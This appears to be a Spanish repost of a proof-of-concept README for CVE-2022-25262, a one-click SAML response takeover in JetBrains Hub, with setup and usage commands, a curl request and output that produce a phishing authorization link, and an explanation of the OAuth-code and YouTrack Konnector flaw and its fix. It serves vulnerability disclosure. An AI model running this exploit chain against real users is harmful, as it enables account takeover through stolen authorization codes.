
PoC + detalles de la vulnerabilidad para CVE-2022-25262 / toma de control de la respuesta SAML de un solo clic en JetBrains Hub
PoC + detalles de la vulnerabilidad CVE-2022-25262 | JetBrains Hub: toma de control de la respuesta SAML con un solo clic
Instalación y ejecución:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
Uso:
Parámetros de consulta:
Obtener el enlace del exploit:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
DEMO:
La debilidad consta de 2 partes:
El IdP SAML funciona como una extensión de OAuth. Cuando un usuario específico quiere iniciar sesión en un proveedor de servicios concreto, pasa por el flujo de concesión de código de autorización OAuth (peticiones 1-2) y, una vez obtenido el código, lo devuelve a Hub (petición 3). Hub toma la información del usuario asociada al código y emite una respuesta SAML firmada para el servicio. Aunque el IdP SAML utiliza el cliente OAuth2 de Hub (client_id=0-0-0-0-0) para la integración, no comprueba en nombre de qué cliente OAuth se emitió el código. Lo único que importa aquí es si el código es válido. Esto podría desembocar en una toma de control de la respuesta SAML si el atacante encuentra una forma de apropiarse del código de autorización de cualquier cliente OAuth registrado en Hub.

YouTrack Konnector es un servicio de primera parte que permite conectar una instancia específica de YouTrack con su bot de Slack. El servicio toma la dirección URL de un YouTrack y tanto el id como el secreto del cliente OAuth de Konnector (petición 1). Después intenta verificar que la URL proporcionada apunta a un YouTrack válido llamando a varios endpoints de API (peticiones 2-3 del «handshake»). Si todo va bien, Konnector devolverá la URL que permitiría a un usuario específico continuar con el flujo de concesión de código OAuth (respuesta 1). La URL contiene un parámetro de consulta «state» que ayuda a Konnector a enrutar el código de autorización OAuth al manejador adecuado (la instancia de Hub). Un atacante podría crear un host con los endpoints necesarios para el «handshake» y obtener un parámetro «state» que apunte al host del atacante. Después, el atacante podría construir una URL de autorización OAuth y enviársela a una víctima. Si la víctima hace clic en el enlace y completa el flujo OAuth (la víctima necesita tener una sesión válida en Hub), el servicio Konnector recibirá el código y lo enviará al host del atacante (peticiones 4-6).

El equipo de YouTrack añadió una comprobación que permite el uso de códigos de autorización emitidos para el cliente OAuth «JetBrains Hub Service» durante el proceso de intercambio «OAuth2 -> SAML». En consecuencia, no hay forma de intercambiar códigos de autorización emitidos para el cliente OAuth «YouTrack Konnector».
| Nombre | Descripción | Obligatorio |
|---|
| hub_url | URL de la instancia de Hub objetivo | ✅ |
| issuer | Emisor SAML | ✅ |
| acs_url | URL del servicio de consumidor de aserciones | ✅ |
| youtrack_url | URL de la instancia de YouTrack conectada con Hub (obligatorio si el usuario invitado está deshabilitado) | ❔ |